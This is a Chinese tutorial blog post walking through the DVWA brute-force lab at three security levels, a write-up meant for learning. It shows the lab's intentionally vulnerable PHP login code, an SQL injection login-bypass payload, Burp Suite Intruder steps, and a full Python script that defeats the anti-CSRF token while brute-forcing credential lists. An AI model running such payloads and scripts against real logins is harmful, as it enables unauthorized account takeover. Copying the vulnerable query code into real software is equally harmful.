其他分享
首页 > 其他分享> > DVWA - Brute Force:暴力破解篇

DVWA - Brute Force:暴力破解篇

作者:互联网

DVWA

Brute Force:暴力破解篇

Low级别

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
	//可以发现只要query语句能够查询到结果,就可以进入这个if成功登录
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
//这一句代码要求result语句能够查询到结果
if( $result && mysqli_num_rows( $result ) == 1 )

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//我们将 admin' or '1'='1 注入到代码中之后,由于后台没有对其进行过滤,我们得到的query语句如下:
SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';
//这样,该语句就被or分成了两个部分,由于第一部分一定能够查询到结果,后面的语句并不影响最终结果,所以我们无需在数据库中匹配到正确密码,只要用户名正确就可以成功注入

Medium级别

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
  1. 登录失败会有sleep(2),有2秒的时延
  2. 后台使用mysqli_real_escape_string函数对输入进行了过滤,我们上菜鸟教程看下,可以知道这个函数是用来过滤某些特殊字符的,比如我们在上一题里用到的引号。
    在这里插入图片描述
    既然是暴力破解,我们这里用burpsuite来抓包做一下爆破,使用火狐浏览器来设置一下代理,在火狐设置选项中找到代理,其他浏览器也有相关插件或选项可以进行设置。然后给Burpsuite也设置一下代理,这里的火狐代理和burp代理需要是一样的,配置如下图。

PS:在这期间我遇到一个问题,burpsuite无法抓取本地数据包,于是我修改localhost为本机ip,因为localhost还会指向ipv6的域名,导致冲突,所以使用本机ipv4的ip就可以解决这一问题。

在这里插入图片描述
在这里插入图片描述
然后抓包,可以看到这里使用GET请求提交的用户名和密码参数,于是我们将抓取到的数据发送到Intruder,点击clear删除掉所有变量,然后光标选中密码对应值(这里是aaa),点击add将其设置为变量。

在这里插入图片描述
在这里插入图片描述
然后点击Payloads,输入破解用的密钥(如果有弱口令字典可以点load导入)。

在这里插入图片描述
PS:这里我又遇到一个问题,就是爆破之后返回状态码都为302重定向,如果有遇到这个问题的朋友,在Options最底下一项Redirection勾选always,就可以自动跟随重定向了。
在这里插入图片描述在这里插入图片描述
然后点击右上角Start attack,可以看到payload为password一栏的length不一样,这就是我们想要的密码,第二题Over!

在这里插入图片描述

High级别

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

相对上一题,本题主要多了这几个特点:

  1. 使用stripslashes函数对用户名和密码进行过滤
    stripslashes函数:用来去除字符串中的反斜杠,如果出现连续两个的反斜杠,则只去掉一个
  2. 对密码进行md5加密(但这对我们没有影响)
  3. 使用generateSessionToken函数加入了Token,可以抵御CSRF攻击,增加了爆破的难度
    generateSessionToken函数:用来生成token令牌,token值会不断变化,因此不能使用一般的爆破手段

在这里插入图片描述

在这里插入图片描述
还是先到Options里选择一直跟随重定向,然后去Grep - Extract(通过正则提取信息的一个模块)里点击add找value的值,结果???有点问题。没事,我们要的值就在下面,直接鼠标选中就行了

在这里插入图片描述
然后到Payloads,先设置导入字典,然后在Payloads Set中设置Payloads Set为2,Payloads Type为Recursive grep递归查找,把token值放进去,Start Attack,成功!
在这里插入图片描述
在这里插入图片描述

注:代码虽然写了很详细的注释,但还是推荐有学过python爬虫的朋友看,没有学过的朋友看起来可能比较困难。

如果有朋友学过爬虫,那答案也非常简单。我们可以使用脚本来抓取每次生成的token,在下一次登录时携带该token进行爆破,这里我们使用Python来编写这个爆破脚本,使用时记得替换获取到的Cookie值。

import requests
from lxml import etree
from bs4 import BeautifulSoup

# 获取页面中的Token          
def getToken(url, headers):
    # 得到HTML,并将其实例化为一个tree对象,利用xpath(类似选择器的原理)定位到token值所在位置并获取
    page_text = requests.get(url=url, headers=headers).text
    tree = etree.HTML(page_text)
    user_token = tree.xpath('//form/input[4]/@value')[0]
    print(user_token)

    return user_token

if __name__ == "__main__":
    # 设置参数进行UA伪装并携带Cookie
    headers = {
        'User-Agent':
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
        'Cookie': 'security=high; PHPSESSID=gqdal64o4bsbbgj0r9sg6r3lq0'
    }
    url = 'http://169.254.48.14/dvwa-master/vulnerabilities/brute/index.php'

    # 从文件中获取用户名和密码进行爆破(这里的爆破模式类似于Burp中的Cluster Bomb模式)
    count = 1
    with open('user.txt', 'r', encoding='utf-8') as userList:
        for admin in userList:
            with open('password.txt', 'r', encoding='utf-8') as pwdList:
                for line in pwdList:
                    username = admin.strip()
                    password = line.strip()
                    # 每次发送请求前获取token值,设置好get请求所需要的参数
                    user_token = getToken(url, headers)
                    payload = {
                        'username': username,
                        'password': password,
                        'Login': 'Login',
                        'user_token': user_token
                    }
                    response = requests.get(url=url, headers=headers, params=payload).content
                    # 整理下输出格式
                    print("{:<6}".format(count), "{:<15}".format(username), "{:<15}".format(password), len(response.decode()))
                    count += 1

结果如下,第4项字节长度与其他的不一致,即为管理员正确的用户密码。
在这里插入图片描述
感谢阅读,之后还会再更新DVWA的其他部分,感兴趣的朋友不妨点个关注。

标签:Force,Brute,ston,GLOBALS,user,mysqli,暴力破解,___,password
来源: https://blog.csdn.net/tuzkizki/article/details/111942111